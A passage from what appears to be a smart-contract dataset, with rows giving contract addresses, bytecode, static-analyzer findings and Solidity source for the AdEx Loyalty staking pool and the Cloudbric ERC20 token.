ffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe0dd4bf0dcd6c69b00d534782a6aab8e550e62cc63da27e1c3ec68630a3c7e0760405160405180910390a460019050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60016020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170157600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561172757600080fd5b7ffcf23a92150d56e85e3a3d33b357493246e55783095eb6a733eb8439ffc752c8600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a181600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188857600080fd5b600260149054906101000a900460ff1615156118a357600080fd5b6118ac836113e4565b1515156118b857600080fd5b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555081600019168373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe0dd4bf0dcd6c69b00d534782a6aab8e550e62cc63da27e1c3ec68630a3c7e0760405160405180910390a46001905092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d957600080fd5b600260149054906101000a900460ff1615156119f457600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c46e614a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611a8257600080fd5b6102c65a03f11515611a9357600080fd5b505050604051805190501515611aa857600080fd5b611ab184610861565b1515611b2a5781600019168473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8ac760e87e60a4c37170bf8340341983802895eefb6b715f24f23a044feb333f866040518082815260200191505060405180910390a460009050611c8c565b81600019168473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f24ec9cd00c1d6cafa876fe4ef1118bc09ba5a030dda4142be5efe572c46e2970866040518082815260200191505060405180910390a4600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c6157600080fd5b6102c65a03f11515611c7257600080fd5b505050604051805190501515611c8757600080fd5b600190505b9392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d2b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4757600080fd5b7f1a4bf1c43a6ad6446028a55fd12073d9038139f809670168dabd91d041fddf4a3383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a181600260146101000a81548160ff02191690831515021790555060019050919050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f8457600080fd5b6102c65a03f11515611f9557600080fd5b505050604051805190501515611fa757fe5b5050505600a165627a7a72305820ecba113b4b4fc9a5ef7e32e79b34d331b60145dd1545725d974180f2858118ba0029
|
{"success": true, "error": null, "results": {}}
| 3,227 |
0xa52588d04c5b21854f42cbcd9502aa6092e6a779
|
pragma solidity ^0.6.12;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface ISupplyController {
function mint(address token, address owner, uint amount) external;
}
interface IADXToken {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address spender) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function supplyController() external view returns (ISupplyController);
}
contract ADXLoyaltyPoolToken {
using SafeMath for uint;
// ERC20 stuff
// Constants
string public constant name = "AdEx Loyalty";
uint8 public constant decimals = 18;
string public symbol = "ADX-LOYALTY";
// Mutable variables
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// EIP 2612
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
// ERC20 events
event Approval(address indexed owner, address indexed spender, uint amount);
event Transfer(address indexed from, address indexed to, uint amount);
function balanceOf(address owner) external view returns (uint balance) {
return balances[owner];
}
function transfer(address to, uint amount) external returns (bool success) {
require(to != address(this), 'BAD_ADDRESS');
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint amount) external returns (bool success) {
balances[from] = balances[from].sub(amount);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint amount) external returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint remaining) {
return allowed[owner][spender];
}
// EIP 2612
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'DEADLINE_EXPIRED');
bytes32 digest = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline))
));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'INVALID_SIGNATURE');
allowed[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// Inner
function innerMint(address owner, uint amount) internal {
totalSupply = totalSupply.add(amount);
balances[owner] = balances[owner].add(amount);
// Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1
emit Transfer(address(0), owner, amount);
}
function innerBurn(address owner, uint amount) internal {
totalSupply = totalSupply.sub(amount);
balances[owner] = balances[owner].sub(amount);
emit Transfer(owner, address(0), amount);
}
// Pool functionality
event LogSetGovernance(address indexed addr, bool hasGovt, uint time);
event LogSetIncentive(uint incentive, uint time);
IADXToken public ADXToken;
uint public incentivePerTokenPerAnnum;
uint public lastMintTime;
uint public maxTotalADX;
mapping (address => bool) public governance;
constructor(IADXToken token, uint incentive, uint cap) public {
ADXToken = token;
incentivePerTokenPerAnnum = incentive;
maxTotalADX = cap;
governance[msg.sender] = true;
lastMintTime = block.timestamp;
// EIP 2612
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
emit LogSetGovernance(msg.sender, true, block.timestamp);
emit LogSetIncentive(incentive, block.timestamp);
}
// Governance functions
function setGovernance(address addr, bool hasGovt) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
governance[addr] = hasGovt;
emit LogSetGovernance(addr, hasGovt, block.timestamp);
}
// This doesn't trigger a mint because otherwise we risk of being unable to setIncentive to 0
// if minting is impossible
// It's the better tradeoff to make - and the issue of front-running mintIncnetive with setIncentive(0) can
// be solved by timelocking the governance
function setIncentive(uint newIncentive) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
incentivePerTokenPerAnnum = newIncentive;
lastMintTime = block.timestamp;
emit LogSetIncentive(newIncentive, block.timestamp);
}
function setSymbol(string calldata newSymbol) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
symbol = newSymbol;
}
function setMaxTotalADX(uint newMaxTotalADX) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
maxTotalADX = newMaxTotalADX;
}
// Pool stuff
// There are a few notable items in how minting works
// 1) if ADX is sent to the LoyaltyPool in-between mints, it will calculate the incentive as if this amount
// has been there the whole time since the last mint
// 2) Compounding is happening when mint is called, so essentially when entities enter/leave/trigger it manually
function toMint() external view returns (uint) {
if (block.timestamp <= lastMintTime) return 0;
uint totalADX = ADXToken.balanceOf(address(this));
return (block.timestamp - lastMintTime)
.mul(totalADX)
.mul(incentivePerTokenPerAnnum)
.div(365 days * 10e17);
}
function shareValue() external view returns (uint) {
if (totalSupply == 0) return 0;
return ADXToken.balanceOf(address(this))
.add(this.toMint())
.mul(10e17)
.div(totalSupply);
}
function mintIncentive() public {
if (incentivePerTokenPerAnnum == 0) return;
uint amountToMint = this.toMint();
if (amountToMint == 0) return;
lastMintTime = block.timestamp;
ADXToken.supplyController().mint(address(ADXToken), address(this), amountToMint);
}
function enter(uint256 amount) external {
// Please note that minting has to be in the beginning so that we take it into account
// when using ADXToken.balanceOf()
// Minting makes an external call but it's to a trusted contract (ADXToken)
mintIncentive();
uint totalADX = ADXToken.balanceOf(address(this));
require(totalADX.add(amount) <= maxTotalADX, 'REACHED_MAX_TOTAL_ADX');
// The totalADX == 0 check here should be redudnant; the only way to get totalSupply to a nonzero val is by adding ADX
if (totalSupply == 0 || totalADX == 0) {
innerMint(msg.sender, amount);
} else {
uint256 newShares = amount.mul(totalSupply).div(totalADX);
innerMint(msg.sender, newShares);
}
require(ADXToken.transferFrom(msg.sender, address(this), amount));
}
function leaveInner(uint256 shares) internal {
uint256 totalADX = ADXToken.balanceOf(address(this));
uint256 adxAmount = shares.mul(totalADX).div(totalSupply);
innerBurn(msg.sender, shares);
require(ADXToken.transfer(msg.sender, adxAmount));
}
function leave(uint256 shares) external {
mintIncentive();
leaveInner(shares);
}
// Guarantees ADX can be taken out even if minting is failing
function emergencyLeave(uint256 shares) external {
leaveInner(shares);
}
}
interface IChainlinkSimple {
function latestAnswer() external view returns (uint);
}
// NOTE: If this needs to be upgraded, we just deploy a new instance and remove the governance rights
// of the old instance and set rights for the new instance
contract ADXLoyaltyPoolIncentiveController {
IChainlinkSimple public constant ADXUSDOracle = IChainlinkSimple(0x231e764B44b2C1b7Ca171fa8021A24ed520Cde10);
ADXLoyaltyPoolToken public immutable loyaltyPool;
constructor(ADXLoyaltyPoolToken lpt) public {
loyaltyPool = lpt;
}
function adjustIncentive() external {
// Mint the current incurred incentive before changing the rate,
// otherwise new rate would be applied for the entire period since the last mint
loyaltyPool.mintIncentive();
// At some point we might enable bonus periods:
// if (block.timestamp < ...) { ... }
// Or overinflation protection
// if (loyaltyPool.ADXToken().totalSupply() > ...) { ... }
// Reset the rate based on the price from the Chainlink oracle
uint price = ADXUSDOracle.latestAnswer();
require(price > 0, 'INVALID_ANSWER');
if (price < 0.05*10**8) {
loyaltyPool.setIncentive(uint(0.10*10**18));
} else if (price < 0.10*10**8) {
loyaltyPool.setIncentive(uint(0.15*10**18));
} else if (price < 0.20*10**8) {
loyaltyPool.setIncentive(uint(0.25*10**18));
} else if (price < 0.30*10**8) {
loyaltyPool.setIncentive(uint(0.30*10**18));
} else if (price < 0.50*10**8) {
loyaltyPool.setIncentive(uint(0.35*10**18));
} else if (price < 1.00*10**8) {
loyaltyPool.setIncentive(uint(0.40*10**18));
} else if (price < 2.00*10**8) {
loyaltyPool.setIncentive(uint(0.45*10**18));
} else {
loyaltyPool.setIncentive(uint(0.50*10**18));
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806382abf6b214610046578063b6dcaf6514610050578063ca5d381314610084575b600080fd5b61004e6100b8565b005b61005861075e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61008c610776565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16631564819f6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561012057600080fd5b505af1158015610134573d6000803e3d6000fd5b50505050600073231e764b44b2c1b7ca171fa8021a24ed520cde1073ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561019457600080fd5b505afa1580156101a8573d6000803e3d6000fd5b505050506040513d60208110156101be57600080fd5b8101908080519060200190929190505050905060008111610247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f494e56414c49445f414e5357455200000000000000000000000000000000000081525060200191505060405180910390fd5b624c4b408110156102ea577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167016345785d8a00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156102cd57600080fd5b505af11580156102e1573d6000803e3d6000fd5b5050505061075b565b6298968081101561038d577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df11670214e8348c4f00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561037057600080fd5b505af1158015610384573d6000803e3d6000fd5b5050505061075a565b6301312d00811015610431577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116703782dace9d900006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561041457600080fd5b505af1158015610428573d6000803e3d6000fd5b50505050610759565b6301c9c3808110156104d5577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df11670429d069189e00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156104b857600080fd5b505af11580156104cc573d6000803e3d6000fd5b50505050610758565b6302faf080811015610579577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116704db7325476300006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561055c57600080fd5b505af1158015610570573d6000803e3d6000fd5b50505050610757565b6305f5e10081101561061d577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167058d15e1762800006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561060057600080fd5b505af1158015610614573d6000803e3d6000fd5b50505050610756565b630bebc2008110156106c1577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167063eb89da4ed00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156106a457600080fd5b505af11580156106b8573d6000803e3d6000fd5b50505050610755565b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116706f05b59d3b200006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561073c57600080fd5b505af1158015610750573d6000803e3d6000fd5b505050505b5b5b5b5b5b5b50565b73231e764b44b2c1b7ca171fa8021a24ed520cde1081565b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c8156fea26469706673582212207baa2a40166f5f93bd87c0d9ab0359588341117f92142421b025d5221243a91c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,228 |
0xb1c1cb8c7c1992dba24e628bf7d38e71dad46aeb
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Cloudbric is StandardToken, BurnableToken, Ownable {
using SafeMath for uint256;
string public constant symbol = "CLB";
string public constant name = "Cloudbric";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant TOKEN_SALE_ALLOWANCE = 540000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_SALE_ALLOWANCE;
// Address of token administrator
address public adminAddr;
// Address of token sale contract
address public tokenSaleAddr;
// Enable transfer after token sale is completed
bool public transferEnabled = false;
// Accounts to be locked for certain period
mapping(address => uint256) private lockedAccounts;
/*
*
* Permissions when transferEnabled is false :
* ContractOwner Admin SaleContract Others
* transfer x v v x
* transferFrom x v v x
*
* Permissions when transferEnabled is true :
* ContractOwner Admin SaleContract Others
* transfer v v v v
* transferFrom v v v v
*
*/
/*
* Check if token transfer is allowed
* Permission table above is result of this modifier
*/
modifier onlyWhenTransferAllowed() {
require(transferEnabled == true
|| msg.sender == adminAddr
|| msg.sender == tokenSaleAddr);
_;
}
/*
* Check if token sale address is not set
*/
modifier onlyWhenTokenSaleAddrNotSet() {
require(tokenSaleAddr == address(0x0));
_;
}
/*
* Check if token transfer destination is valid
*/
modifier onlyValidDestination(address to) {
require(to != address(0x0)
&& to != address(this)
&& to != owner
&& to != adminAddr
&& to != tokenSaleAddr);
_;
}
modifier onlyAllowedAmount(address from, uint256 amount) {
require(balances[from].sub(amount) >= lockedAccounts[from]);
_;
}
/*
* The constructor of Cloudbric contract
*
* @param _adminAddr: Address of token administrator
*/
function Cloudbric(address _adminAddr) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
Transfer(address(0x0), msg.sender, totalSupply_);
adminAddr = _adminAddr;
approve(adminAddr, ADMIN_ALLOWANCE);
}
/*
* Set amount of token sale to approve allowance for sale contract
*
* @param _tokenSaleAddr: Address of sale contract
* @param _amountForSale: Amount of token for sale
*/
function setTokenSaleAmount(address _tokenSaleAddr, uint256 amountForSale)
external
onlyOwner
onlyWhenTokenSaleAddrNotSet
{
require(!transferEnabled);
uint256 amount = (amountForSale == 0) ? TOKEN_SALE_ALLOWANCE : amountForSale;
require(amount <= TOKEN_SALE_ALLOWANCE);
approve(_tokenSaleAddr, amount);
tokenSaleAddr = _tokenSaleAddr;
}
/*
* Set transferEnabled variable to true
*/
function enableTransfer() external onlyOwner {
transferEnabled = true;
approve(tokenSaleAddr, 0);
}
/*
* Set transferEnabled variable to false
*/
function disableTransfer() external onlyOwner {
transferEnabled = false;
}
/*
* Transfer token from message sender to another
*
* @param to: Destination address
* @param value: Amount of AMO token to transfer
*/
function transfer(address to, uint256 value)
public
onlyWhenTransferAllowed
onlyValidDestination(to)
onlyAllowedAmount(msg.sender, value)
returns (bool)
{
return super.transfer(to, value);
}
/*
* Transfer token from 'from' address to 'to' addreess
*
* @param from: Origin address
* @param to: Destination address
* @param value: Amount of tokens to transfer
*/
function transferFrom(address from, address to, uint256 value)
public
onlyWhenTransferAllowed
onlyValidDestination(to)
onlyAllowedAmount(from, value)
returns (bool)
{
return super.transferFrom(from, to, value);
}
/*
* Burn token, only owner is allowed
*
* @param value: Amount of tokens to burn
*/
function burn(uint256 value) public onlyOwner {
require(transferEnabled);
super.burn(value);
}
/*
* Disable transfering tokens more than allowed amount from certain account
*
* @param addr: Account to set allowed amount
* @param amount: Amount of tokens to allow
*/
function lockAccount(address addr, uint256 amount)
external
onlyOwner
onlyValidDestination(addr)
{
require(amount > 0);
lockedAccounts[addr] = amount;
}
/*
* Enable transfering tokens of locked account
*
* @param addr: Account to unlock
*/
function unlockAccount(address addr)
external
onlyOwner
onlyValidDestination(addr)
{
lockedAccounts[addr] = 0;
}
}
|
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e578063095ea7b3146101dc57806318160ddd1461023657806323b872dd1461025f5780632ff2e9dc146102d8578063313ce5671461030157806342966c68146103305780634cd412d514610353578063661884631461038057806370a08231146103da57806381830593146104275780638da5cb5b1461047c578063905295e3146104d157806395d89b411461050a5780639e0a228014610598578063a9059cbb146105c1578063aa54ad351461061b578063b187984f14610670578063bf620a4514610685578063d73dd623146106c7578063dd62ed3e14610721578063f1b50c1d1461078d578063f2dc8878146107a2578063f2fde38b146107e4578063fc53f9581461081d575b600080fd5b341561015957600080fd5b610161610846565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a1578082015181840152602081019050610186565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e757600080fd5b61021c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061087f565b604051808215151515815260200191505060405180910390f35b341561024157600080fd5b610249610971565b6040518082815260200191505060405180910390f35b341561026a57600080fd5b6102be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061097b565b604051808215151515815260200191505060405180910390f35b34156102e357600080fd5b6102eb610c89565b6040518082815260200191505060405180910390f35b341561030c57600080fd5b610314610c9a565b604051808260ff1660ff16815260200191505060405180910390f35b341561033b57600080fd5b6103516004808035906020019091905050610c9f565b005b341561035e57600080fd5b610366610d22565b604051808215151515815260200191505060405180910390f35b341561038b57600080fd5b6103c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d35565b604051808215151515815260200191505060405180910390f35b34156103e557600080fd5b610411600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fc6565